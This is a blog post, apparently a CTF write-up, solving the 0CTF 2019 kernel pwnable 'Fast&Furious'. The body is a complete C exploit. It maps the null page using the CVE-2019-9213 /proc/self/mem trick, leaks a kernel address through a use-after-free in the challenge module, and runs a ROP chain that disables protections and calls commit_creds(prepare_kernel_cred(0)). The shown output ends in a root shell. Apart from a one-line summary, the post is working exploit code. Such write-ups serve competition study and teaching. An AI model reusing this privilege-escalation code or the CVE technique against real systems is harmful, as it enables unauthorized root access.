0CTF 2019 - Fast&Furious

CTF/2019 2019. 7. 21. 15:56

Fast&Furious

Category : pwnable
Summary : kernel module, use-after-free, null page dereference, memory leak, CVE-2019-9213

Exploit

#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
//#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>


void *ptr;

uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rflags;
uint64_t user_stack;

int
allocate_null_page (void)
{
  void *map = mmap ((void *) 0x10000, 0x1000, PROT_READ | PROT_WRITE,
            MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED,
            -1, 0);
  if (map == MAP_FAILED)
    err (1, "mmap");
  int fd = open ("/proc/self/mem", O_RDWR);
  if (fd == -1)
    err (1, "open");
  unsigned long addr = (unsigned long) map;
  while (addr != 0)
    {
      addr -= 0x1000;
      if (lseek (fd, addr, SEEK_SET) == -1)
    err (1, "lseek");
      char cmd[1000];
      sprintf (cmd, "LD_DEBUG=help busybox 1>&%d", fd);
      system (cmd);
    }
}

void
shell ()
{
  execl ("/bin/sh", "sh", 0);
}


void
save_state ()
{
  asm volatile ("movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n":"=r" (user_cs), "=r" (user_ss), "=r" (user_stack),
        "=r" (user_rflags)::"memory");
}


#define PWN_WRITE    6
#define PWN_READ    66
#define PWN_EDIT    666
#define PWN_DELETE    6666

struct node
{
  char *data;
  uint64_t size;
};

struct obj
{
  uint64_t count;
  struct node n[16];
  int idx;
};

int
main ()
{
  char pay[0x300 * 4], tmp[0x100000];
  uint64_t leak, override_creds;
  uint64_t gg_pivot_stack, gg_commit_creds, gg_prepare_kernel_cred,
    gg_mov_cr4, gg_mov_cr0, gg_pop_rdi, gg_pop_rcx, gg_mov_rdi_rax, gg_swapgs,
    gg_iretq, gg_mov_cr3_rax, gg_mov_rax_cr3, gg_pop_rsi, gg_xor_rsi;
  uint64_t *null_page = 0, *rop, *rop2, *rop_base, *rop2_base;
  struct obj o;
  int fd;

  char *ll = mmap ((void *) 0xf60000, 0x1000, 7,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  *ll = 0x90;

  allocate_null_page ();
  printf ("[+] null page allocated\n");

  fd = open ("/dev/pwn", 0);

  memset (pay, 'A', 0x300 * 4);

  /* note 0 (for kernel addr leak) */
  o.count = 1;
  o.n[0].data = pay;
  o.n[0].size = 8;

  ioctl (fd, PWN_WRITE, &o);

  o.count = 1;
  o.n[0].data = 0xdeadbeef;
  o.n[0].size = 8;
  o.idx = 0;

  ioctl (fd, PWN_EDIT, &o);

  /* note 1 */
  o.count = 4;
  o.n[0].data = pay;
  o.n[0].size = 0x300;
  o.n[1].data = pay;
  o.n[1].size = 0x300;
  o.n[2].data = pay;
  o.n[2].size = 0x300;
  o.n[3].data = pay;
  o.n[3].size = 0x300;

  ioctl (fd, PWN_WRITE, &o);

  o.count = 1;
  o.n[0].data = &leak;
  o.n[0].size = 8;
  o.idx = 0;

  ioctl (fd, PWN_READ, &o);
  printf ("[+] kernel addr leak : %p\n", leak);

  o.count = 4;
  o.n[0].data = 0xdeadbeef;
  o.n[0].size = 0x300;
  o.n[1].data = pay;
  o.n[1].size = 0x300;
  o.n[2].data = pay;
  o.n[2].size = 0x300;
  o.n[3].data = pay;
  o.n[0].size = 0x300;
  o.idx = 1;

  ioctl (fd, PWN_EDIT, &o);

  rop = pay + 8;

  rop2_base = calloc (0x1000, 1);
  rop2 = (uint64_t) rop2_base + 8;

  save_state ();

  gg_pivot_stack = leak + 0x31bcaf;
  gg_prepare_kernel_cred = leak - 0x1b61f0;
  gg_commit_creds = leak - 0x1b65a0;
  gg_pop_rdi = leak + 0x1ebd62;    //
  gg_mov_cr0 = leak - 0x1ff7fc;
  gg_mov_cr4 = leak - 0x24fb20;    //
  gg_pop_rcx = leak - 0x8410d;    //
  gg_mov_rdi_rax = leak - 0x2415b1;
  gg_swapgs = leak - 0x1ff70c;
  gg_iretq = leak - 0x2393a5;
  gg_mov_cr3_rax = gg_mov_cr4 + 0xbe0d09;
  gg_mov_rax_cr3 = gg_mov_cr4 + 0x50354;
  gg_pop_rsi = gg_mov_cr4 + 0xedde1;
  gg_xor_rsi = gg_mov_cr4 + 0x9c7f23;

  *rop++ = gg_pop_rdi;
  *rop++ = 0x6f0;
  *rop++ = gg_mov_cr4;
  *rop++ = 0;
  *rop++ = gg_pop_rdi;
  *rop++ = 0;

  *rop++ = gg_prepare_kernel_cred;
  *rop++ = gg_pop_rcx;
  *rop++ = 0;
  *rop++ = gg_mov_rdi_rax;
  *rop++ = 0;
  *rop++ = gg_commit_creds;

  *rop++ = gg_swapgs;
  *rop++ = 0;
  *rop++ = gg_mov_rax_cr3;
  *rop++ = 0;
  *rop++ = gg_pop_rsi;
  *rop++ = (1 << 12);
  *rop++ = gg_xor_rsi;

  *rop++ = gg_pop_rdi;
  *rop++ = rop2_base;

  *rop++ = gg_pivot_stack;

  *rop++ = gg_mov_cr3_rax;
  *rop++ = gg_iretq;
  *rop++ = shell;        // rip
  *rop++ = user_cs;        // cs
  *rop++ = user_rflags;        // rflags
  *rop++ = tmp + 0x4000;    //user_stack; //sp
  *rop++ = user_ss;        //ss

  *rop2++ = gg_mov_cr3_rax;
  *rop2++ = gg_iretq;
  *rop2++ = shell;        // rip
  *rop2++ = user_cs;        // cs
  *rop2++ = user_rflags;    // rflags
  *rop2++ = tmp + 0x4000;    //user_stack; //sp
  *rop2++ = user_ss;        //

  o.count = 4;
  o.n[0].data = pay;
  o.n[0].size = 0xf0;
  o.n[1].data = pay;
  o.n[1].size = 0x1;
  o.n[2].data = pay;
  o.n[2].size = 0x1;
  o.n[3].data = pay;
  o.n[3].size = 0x1;
  o.idx = 1;

  ioctl (fd, PWN_EDIT, &o);

  *null_page = gg_pivot_stack;


  /* escalate */
  o.count = 1;
  ioctl (fd, PWN_DELETE, &o);

  close (fd);
}

Result

$ ./startvm.sh
  ___   ____ _____ _____ _______ ____ _____ _____   ____   ___  _  ___
 / _ \ / ___|_   _|  ___/ /_   _/ ___|_   _|  ___| |___ \ / _ \/ |/ _ \
| | | | |     | | | |_ / /  | || |     | | | |_      __) | | | | | (_) |
| |_| | |___  | | |  _/ /   | || |___  | | |  _|    / __/| |_| | |\__, |
 \___/ \____| |_| |_|/_/    |_| \____| |_| |_|     |_____|\___/|_|  /_/

~ $ /exploit
[+] null page allocated
[+] kernel addr leak : 0xffffffff9be6ffa0
/home/pwn # id
uid=0(root) gid=0

'CTF > 2019' 카테고리의 다른 글

0CTF 2019 - Fast&Furious  (0) 2019.07.21
0CTF 2019 - Fast&Furious2  (0) 2019.07.21
CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret